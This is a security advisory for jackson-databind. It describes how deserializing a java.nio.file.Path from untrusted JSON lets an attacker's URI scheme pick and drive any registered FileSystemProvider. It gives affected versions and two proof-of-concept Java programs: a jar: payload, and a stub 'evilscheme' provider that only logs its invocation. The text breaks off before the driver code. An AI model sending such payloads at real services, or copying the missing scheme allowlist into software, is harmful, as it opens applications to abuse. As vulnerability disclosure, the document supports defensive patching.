GHSA-wjgm-6hv5-3cvf jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution

• Maven tools.jackson.core:jackson-databind: >= 3.0.0, < 3.1.6 → fixed in 3.1.6 • Maven tools.jackson.core:jackson-databind: >= 3.2.0, < 3.2.2 → fixed in 3.2.2 • Maven com.fasterxml.jackson.core:jackson-databind: >= 2.8.0, < 2.18.10 → fixed in 2.18.10 • Maven com.fasterxml.jackson.core:jackson-databind: >= 2.19.0, < 2.21.6 → fixed in 2.21.6 • Maven com.fasterxml.jackson.core:jackson-databind: >= 2.22.0, < 2.22.2 → fixed in 2.22.2

Summary A `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` → `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`. Impact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern. Description `NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`): ```java int colonIx = value.indexOf(':'); if (colonIx may load a FileSystemProvider } catch (FileSystemNotFoundException cause) { final String scheme = uri.getScheme(); for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) { if (provider.getScheme().equalsIgnoreCase(scheme)) { return provider.getPath(uri); // attacker scheme selects & drives a provider } } // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default) } ``` The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider. Vulnerable Code Location • `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java` • `STD_PATH` → `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body (`new URI` → `Path.of(uri)` → `ServiceLoader.load(FileSystemProvider.class)` → `provider.getPath(uri)`). Proof of Concept Two PoCs are provided. > PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction. PoC 1 — sink reached (built-in `jar` provider). `com/poc/Vuln04_PathProvider.java`: ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import java.nio.file.Path; /** • Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via • Path.of(uri) / ServiceLoader. */ public class Vuln04_PathProvider { public static class Config { public Path workdir; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI. String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}"; System.out.println("Deserializing (default mapper): " + json); try { Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " + c.workdir + " (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")"); System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue"); } catch (Throwable t) { System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage()); System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)"); } } } ``` PoC 2 — scheme-selection mechanism demo (custom `FileSystemProvider`). A third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. `com/poc/EvilFileSystemProvider.java`: ```java package com.poc; import java.nio.file.*; import java.nio.file.spi.FileSystemProvider; import java.nio.file.attribute.*; import java.net.URI; import java.io.IOException; import java.util.*; import java.util.Set; import java.nio.channels.SeekableByteChannel; /** • A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the • scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real • application's classpath. Its static initializer and getPath() record that they executed, • proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri) • inside jackson's readValue. */ public class EvilFileSystemProvider extends FileSystemProvider { public static volatile boolean STATIC_INIT_RAN = false; public static volatile String GET_PATH_URI = null; static { STATIC_INIT_RAN = true; } @Override public String getScheme() { return "evilscheme"; } @Override public Path getPath(URI uri) { GET_PATH_URI = uri.toString(); System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri); // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc. return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker"); } // --- remaining abstract methods: minimal stubs --- @Override public FileSystem newFileSystem(URI uri, Map env) { throw new UnsupportedOperationException(); } @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); } @Override public SeekableByteChannel newByteChannel(Path p, Set o, FileAttribute... a) throws IOException { throw new UnsupportedOperationException(); } @Override public DirectoryStream newDirectoryStream(Path d, DirectoryStream.Filter f) { throw new UnsupportedOperationException(); } @Override public void createDirectory(Path d, FileAttribute... a) { throw new UnsupportedOperationException(); } @Override public void delete(Path p) { throw new UnsupportedOperationException(); } @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public boolean isSameFile(Path p, Path p2) { return false; } @Override public boolean isHidden(Path p) { return false; } @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); } @Override public void checkAccess(Path p, AccessMode... m) { } @Override public V getFileAttributeView(Path p, Class t, LinkOption... o) { return null; } @Override public A readAttributes(Path p, Class t, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public Map readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { } } ``` Registration descriptor — `src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`: ``` com.poc.EvilFileSystemProvider ``` Driver — `com/poc/…